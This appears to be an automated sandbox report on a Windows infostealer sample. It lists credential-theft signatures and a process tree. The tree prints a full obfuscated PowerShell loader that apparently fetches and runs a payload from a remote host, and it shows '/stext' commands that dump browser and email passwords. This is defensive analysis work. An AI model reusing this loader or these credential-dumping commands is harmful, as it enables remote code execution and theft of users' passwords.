Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/08/2024, 10:14

General

  • Target

    833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe

  • Size

    483KB

  • MD5

    148795d6cfcff607f38bd3815a65a7b6

  • SHA1

    a0e7f849720140d61d0bfecffb835fb467ae9faa

  • SHA256

    833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d

  • SHA512

    4e97c7ba04c0b61a1dc3dd0801364048527685b0d2df0e65cdb00670a8a73785d9386e92b51668c54ba6608daaf4f9d29749646fea4a751a9a6def74697c474e

  • SSDEEP

    6144:wTz+c6KHYBhDc1RGJdv//NkUn+N5Bkf/0TELRvIZPjbsAOZZBAXccrOT4:wTlrYw1RUh3NFn+N5WfIQIjbs/ZBFT4

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 7 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe
    "C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:884
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Trekanterne174.vbs"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3212
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "write 'Deaktivering250 Sterilizabilities Desilver Busboy Ischiovertebral Yemen Geotekniske Pagterne Graphoscope preoccupation Lurkers Palliatively Sladrehankenes platybrachycephalous Retshistorie Qualification Kaprendes Undseligheds Orthogonalized Menulinie Prgnantest Larms Antipestilential Blomsterlgene Deaktivering250 Sterilizabilities Desilver Busboy Ischiovertebral Yemen Geotekniske Pagterne Graphoscope preoccupation Lurkers Palliatively Sladrehankenes platybrachycephalous Retshistorie Qualification Kaprendes Undseligheds Orthogonalized Menulinie Prgnantest Larms Antipestilential Blomsterlgene';If (${host}.CurrentCulture) {$Ruefulness='SUBsTR';$Danmarksmestrenes++;}$Ruefulness+='ing';Function semisavage($Semicultivated){$Attesterer=$Semicultivated.Length-$Danmarksmestrenes;For( $Saetningsblok=2;$Saetningsblok -lt $Attesterer;$Saetningsblok+=3){$Deaktivering250+=$Semicultivated.$Ruefulness.'Invoke'( $Saetningsblok, $Danmarksmestrenes);}$Deaktivering250;}function bagstagets($Mirrorise){ . ($Fetichize) ($Mirrorise);}$Nedtrappedes=semisavage 'AfM,eoVezMiiF,lB lAra ,/ S5In.Ko0Af Fe(EuWDei DnredN,oJaw,tsFi .uNSaTR. U1 .0Ha.He0Si; K BaW riTjnMa6 f4ko;Re LaxL.6 K4Be; , urChv.a: ,1Ov2He1,a. M0Re) u SoGBeeL,cBlkKroPr/M.2,o0 ,1 .0 0 E1Ap0 B1St TrFCri,irBeePefr o NxBe/Un1Re2Wi1Mi.Im0Fo ';$Speronaros33=semisavage ' .UAdsCheSurWa- OARigD e OnClt ';$Ischiovertebral=semisavage 'W.hN.t tF.pDusB.:In/ru/,twFoe Kl Occlo Um DsSlpMalHyuHasEn.Unr BuSk/G wMipSt-KoaM,d Sm oiRanA./Chu Bs,fe Ur .s.e/p MSviGdj Ua c.BofInlW.aPr ';$Badeomraaderne=semisavage 'U > L ';$Fetichize=semisavage 'Udi ,e NxNo ';$Chromocyte='Pagterne';$Dysgenical = semisavage 'SceSkcTrhPeo , ,l%DeaRepF,p AdWiaObtSkaAn%.h\,iPDoo usTrhSooTo..rSF gsasB, Mo&Ve& D .eD,cAshhao,i Yht h ';bagstagets (semisavage ' E$K gRelS,o,fbBea ylLe: D.te r.ciSte ,t u=Me(L.c Sm TdSt Ud/SycRu Un$H,D AyGrsCrgCoeTunCaiFecVaaB lA )Gt ');bagstagets (semisavage 'St$StgRilT,oSabtoaSilAn: JB wu FsV,bGloTayR.=Ge$ lIBysr,cKrhSti doAhvMae ErTot eEdbl rRaaQdlHy. LsOopSklKoiA,tTo(,l$M,BN aNudFleKroPemTorUnaSaa Ad .eOvrFenH,e.a)G. ');bagstagets (semisavage 'Un[ ,N FeI t.n.F.S.xeU,rIsvReiAtcIde .PBlo PiWenMatSmM NaU,n aaPeg ,eBerEp]Be:Ha:DrSlaeOpcStuStrRei Ft,iyDePSur ,oLatBloVicsyo FlS, S=,a Hu[ .NBleUnt S.ErSP eAuc LuI.rekiEst iyDrPSpr Bo Dt LoStcT,osulP.TFryKwpPle o]Un:U :hoT RlXas D1.e2 R ');$Ischiovertebral=$Busboy[0];$pvc= (semisavage 'pa$Kog SlLio ,bScas lTh:a.SBiehac.urP euntN iEun.esPi=PeNFreLowUn- UOOvb.ej.telocSatE. ImSL.yS s Pt Me mdo. N reent J.HnWPreI,bsuCA,lD i LeDenVgt');$pvc+=$Deriet[1];bagstagets ($pvc);bagstagets (semisavage 'E.$InSFieFecBarOpe RtEli anExsSi.AdHmiePha rdBle,er Bs,a[Fl$DeSCopAseG rNeoSknFoaD,rReoAssRa3ph3Ur] P=Ka$NoN.oe ,dU t SrAsaplpb,p .eAadSueDesFu ');$Fnernes=semisavage 'ag$p,S Le Sc .r neLft iSun MsBe.muDStoSkwPhnPrlh,oTnaSwdHaFgui MlBee i(,n$UdI,lsEpcBih PiHaoNivM e MrE.tBres.bHvrGaaKnl .,em$ TL,kaForD.mbrs.f) . ';$Larms=$Deriet[0];bagstagets (semisavage 'Ma$S.gInlAloW.b yaE.lKo: SS.oeC lT vOpmStoledEqsSliHagUneMolAisoseL.s .=Ju(umTU eP,sOvt.k-UnP UaD,tRehPr No$siL .a ,rF,mRusH.)El ');while (!$Selvmodsigelses) {bagstagets (semisavage 'Pa$ HgLol.toOfb Pa.ylKr:SeH UuSarFrtHafChuRelti=.u$ ,tE,r gupeeVi ') ;bagstagets $Fnernes;bagstagets (semisavage ' BSRut ,aBrrButWy- aSPelUle,reFlpS. Se4s. ');bagstagets (semisavage ' R$Trg BlUdoAbbIna PlHi:UnS,pe Fl,evTrm.co dUbs eiSig De gl Ms.fe PsBe=Po( NTAleDes at.a- oPNoaBet ThO Da$ChL .aInr,am.osP )Du ') ;bagstagets (semisavage 'Op$DigL,lovoSkbPha Al s: oD,ueT s.picolBevv,e.rrNo=Ro$ShgS,lDeo .bFlaHilF.:P SMetAfeAsr FiBrlodiEuzE,aSabStiPrl ,i ,tReisneTasLe+Un+St%Fo$PeB.guB.sS,bWeo.uyR,.Rec,ooUnuRun ,tSh ') ;$Ischiovertebral=$Busboy[$Desilver];}$Fogedforbud=347549;$Keckling=28042;bagstagets (semisavage 'T,$T gLilB.o Kb Ba UlKo:.dGA r naSlpS,h oCosr c DoEjp ee.e ,o=Op SGcoeKntSa-.hC loOmn bt Ae Mn Nt . r$MoLF,aSkrMemYmsU, ');bagstagets (semisavage 'Gr$H gAflL.onibBeaCylKu:SegMekHos K Ut= . e[TaS ay.os atOveRkmSy.VaC,uoLbnByvReeC,rR,tJ,]A : E: MFspr loTamH BCia Hs reNi6 4 S otHerPoi unVrg a(S.$UdGSurC.aFapTrhMaoB sb cDioSkpT e D)S, ');bagstagets (semisavage 'Fl$Dig ulOro.obR.aMelFi:ooP naTelTolHyipraS.tChiS vSkeNal,tyD Fl=M, M,[TrS nySfsIntR,eMemV .RbT,aeAnxFrtBo.,nE DnAscMoo NdIdiP.n .gAn] i: U: .A,eS uCmaIUnI b.TiGZ e ht RSS.t Cr PiO,nFagSc( P$ArgRekResAn)Sm ');bagstagets (semisavage 'Am$.kg olL o ObVeaTelPh:t.K Lni,i HfShe SlCriPikHyeHa=af$PrPTaaTilTilLoiS aAlthaiOsv ae SlN.yPe.UnsD u bK.s.nt .rMiiNonHogS,(.o$ AFTro ,g eUrdsafE.oZurM.b Su dEx,Di$CoK teCacS.kUblAmi in PgFo) O ');bagstagets $Knifelike;"
        3⤵
        • Blocklisted process makes network request
        • Access Token Manipulation: Create Process with Token
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4368
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Posho.Sgs && echo t"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3268
    • C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe
      C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe /stext "C:\Users\Admin\AppData\Local\Temp\wizklyanftpypvckfzzuxss"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:4556
    • C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe
      C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe /stext "C:\Users\Admin\AppData\Local\Temp\zkedmqtotbhdzbyowkmnixfzsy"
      2⤵
      • Accesses Microsoft Outlook accounts
      • System Location Discovery: System Language Discovery
      PID:4860
    • C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe
      C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe /stext "C:\Users\Admin\AppData\Local\Temp\jesnmieipjzqchmagvgptkzqtmusf"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1868

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Trekanterne174.vbs

    Filesize

    23KB

    MD5

    1603bcb30077161d37f2977db50f5873

    SHA1

    43df53981fc58d99cea68279555b4dd98366ed87

    SHA256

    c658636d66ecbaf505b36ded0d6798240fc60b955a47b58473c9f28b4927b22a

    SHA512

    29d8ecd9fc3b7ddfa1d6d3296cc4cc3bdbcb970f68f0aa3ae8c439e23faa9ad92170cdd82af958d01335b2fb9a76ebe5e5a9e5a84c89fca0f5924c938b5fe263

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlzito23.ccz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\wizklyanftpypvckfzzuxss

    Filesize

    4KB

    MD5

    8b8277c8f03c24d1f290dbe476e961d2

    SHA1

    2e13baf3a4b708277d550dc3dd1e0f99b131f78e

    SHA256

    9af6881f6dbffba028a7a977f4c0a43c764f840332986993ad66de7b816c2f9e

    SHA512

    7367a0236cd0d6cd731caf1ba1f4ea8f851ea1018a9c6b49db6e9d13b2aaba92767774da9169481918e4287021ff5c3a58c3143eaa5e7fe9fa88383208615948

  • memory/884-40-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/884-39-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/884-36-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/1868-20-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1868-25-0x0000000000430000-0x00000000004F9000-memory.dmp

    Filesize

    804KB

  • memory/1868-28-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1868-23-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1868-18-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4368-45-0x0000000005700000-0x0000000005766000-memory.dmp

    Filesize

    408KB

  • memory/4368-57-0x0000000005D80000-0x0000000005DCC000-memory.dmp

    Filesize

    304KB

  • memory/4368-62-0x0000000007D10000-0x00000000082B4000-memory.dmp

    Filesize

    5.6MB

  • memory/4368-61-0x0000000006D70000-0x0000000006D92000-memory.dmp

    Filesize

    136KB

  • memory/4368-60-0x0000000007010000-0x00000000070A6000-memory.dmp

    Filesize

    600KB

  • memory/4368-59-0x0000000006260000-0x000000000627A000-memory.dmp

    Filesize

    104KB

  • memory/4368-58-0x0000000007690000-0x0000000007D0A000-memory.dmp

    Filesize

    6.5MB

  • memory/4368-56-0x0000000005D40000-0x0000000005D5E000-memory.dmp

    Filesize

    120KB

  • memory/4368-55-0x0000000005870000-0x0000000005BC4000-memory.dmp

    Filesize

    3.3MB

  • memory/4368-42-0x0000000004FB0000-0x00000000055D8000-memory.dmp

    Filesize

    6.2MB

  • memory/4368-43-0x0000000004D90000-0x0000000004DB2000-memory.dmp

    Filesize

    136KB

  • memory/4368-44-0x0000000005690000-0x00000000056F6000-memory.dmp

    Filesize

    408KB

  • memory/4368-41-0x0000000002440000-0x0000000002476000-memory.dmp

    Filesize

    216KB

  • memory/4556-11-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4556-13-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4556-9-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4556-12-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4556-34-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4860-17-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/4860-24-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/4860-22-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/4860-27-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB